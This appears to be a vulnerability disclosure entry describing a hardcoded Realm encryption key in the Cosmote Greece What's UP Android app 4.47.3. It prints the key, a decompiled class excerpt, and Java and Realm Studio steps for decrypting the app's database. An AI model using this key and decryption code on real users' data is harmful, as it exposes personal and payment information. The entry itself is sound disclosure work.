| Title | Cosmote Greece What's UP Android App 4.47.3 Use of Hard-coded, Security-relevant Constants |
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| Description | [Hardcoded Realm Database Encryption Key] found in What's UP Android App 4.47.3 - (RealmDB.java)
Affected Project: WHAT'S UP 4.47.3
Platform: Android
Vendor: Cosmote Greece
Vendor contacted beforehand: Yes
Official Website: (https://play.google.com/store/apps/details?id=gr.cosmote.whatsup)
Version: 4.47.3
Updated: Oct 10, 2024
Installs: 5,000,000+
Category: Tools
Android Version Code: 2410115
File Name: gr.cosmote.whatsup.apk
Size: 20.06MB
SHA256: 56fcd6278c70af76b342bd3374b5322d0531a5fe6db8a4dffdcd8002ade59d51
Description:
The application embeds a hardcoded encryption key (defaultRealmKey) within the source code file gr/desquared/kmmsharedmodule/db/RealmDB.java.
This key is used to encrypt the Realm database file named defaultKMMV4.realm.enc.
Because the encryption key is hardcoded and packaged inside the APK, an attacker can extract it from the APK file.
This exposure enables the attacker to decrypt the database file, leading to unauthorized access to confidential user information, including sensitive personal data and credit card details.
Vulnerability found at: RealmDB.java
Path: gr/desquared/kmmsharedmodule/db/RealmDB.java
# Vulnerability Analysis:
Tool for decompiling the simple architect .apk or bundle file: Jadx - (https://github.com/skylot/jadx)
The RealmDB class in RealmDB.java is responsible for managing the encrypted Realm database within the mobile application:
```
public final class RealmDB {
public static final String ENCRYPTED_REALM = "ENCRYPTED_REALM";
public static final RealmDB INSTANCE = new RealmDB();
private static final String databaseName = "defaultKMMV4";
private static final String defaultRealmKey = "1234567812345678123456781234567812345678123456781234567812345678";
private static final String encryptedRealmFileName = "defaultKMMV4.realm.enc";
private static final long encryptedRealmVersion = 80;
```
Within this class there is a hardcoded encryption key used for securing the database:
```
private static final String defaultRealmKey = "1234567812345678123456781234567812345678123456781234567812345678";
```
# Impact
1. Predictable Key: A hardcoded encryption key, especially one that is the same across all installations of the application, is inherently insecure. Attackers who decompile the application can easily extract this key.
2. Ease of Decryption: With access to the encryption key, an attacker can decrypt the database contents if they gain access to the device or a backup of the application's data, compromising sensitive user information.
3. Regulatory Non-Compliance: As the application stores personal data and credit cards info, the use of weak encryption practices may violate data protection regulations like GDPR, HIPAA, etc.
# Decryption sample code
The defaultRealmKey string is converted into a byte array before being used.
Convert the Encryption Key:
```
// Java example
String defaultRealmKey = "1234567812345678123456781234567812345678123456781234567812345678";
byte[] keyBytes = defaultRealmKey.getBytes(StandardCharsets.UTF_8);
```
Configure Realm with the Encryption Key:
```
// Java example
RealmConfiguration config = new RealmConfiguration.Builder()
.name("defaultKMMV4.realm.enc")
.encryptionKey(keyBytes)
.schemaVersion(80)
.build();
```
Open the Encrypted Realm:
```
// Java example
Realm realm = Realm.getInstance(config);
```
Access and Export Data:
```
// Java example
RealmResults<YourRealmObject> results = realm.where(YourRealmObject.class).findAll();
```
# Alternative decryption method: Using Realm Studio
Convert the Key to Hexadecimal Format as Realm Studio requires the encryption key in hexadecimal format:
```
// Java code
String defaultRealmKey = "1234567812345678123456781234567812345678123456781234567812345678";
byte[] keyBytes = defaultRealmKey.getBytes(StandardCharsets.UTF_8);
// Convert byte array to hex string
StringBuilder hexString = new StringBuilder();
for (byte b : keyBytes) {
String hex = String.format("%02x", b);
hexString.append(hex);
}
String encryptionKeyHex = hexString.toString();
```
Now launch Realm Studio.
Open the encrypted Realm file (defaultKMMV4.realm.enc).
When prompted, enter the hexadecimal encryption key (encryptionKeyHex).
CWE-312: Cleartext Storage of Sensitive Information
CVSS v3.1 Base Score: 7.8 (High)
|
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| Source | ⚠️ https://github.com/secuserx/CVE/blob/main/%5BHardcoded%20Realm%20Database%20Encryption%20Key%5D%20found%20in%20What's%20UP%20Android%20App%204.47.3%20-%20(RealmDB.java).md |
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| User | secuserx (UID 76735) |
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| Submission | 10/27/2024 03:01 PM (3 months ago) |
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| Moderation | 11/03/2024 07:13 AM (7 days later) |
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| Status | Accepted |
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| VulDB Entry | 282917 [Cosmote Greece What's Up App 4.47.3 on Android Realm Database RealmDB.java defaultRealmKey default key] |
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| Points | 20 |
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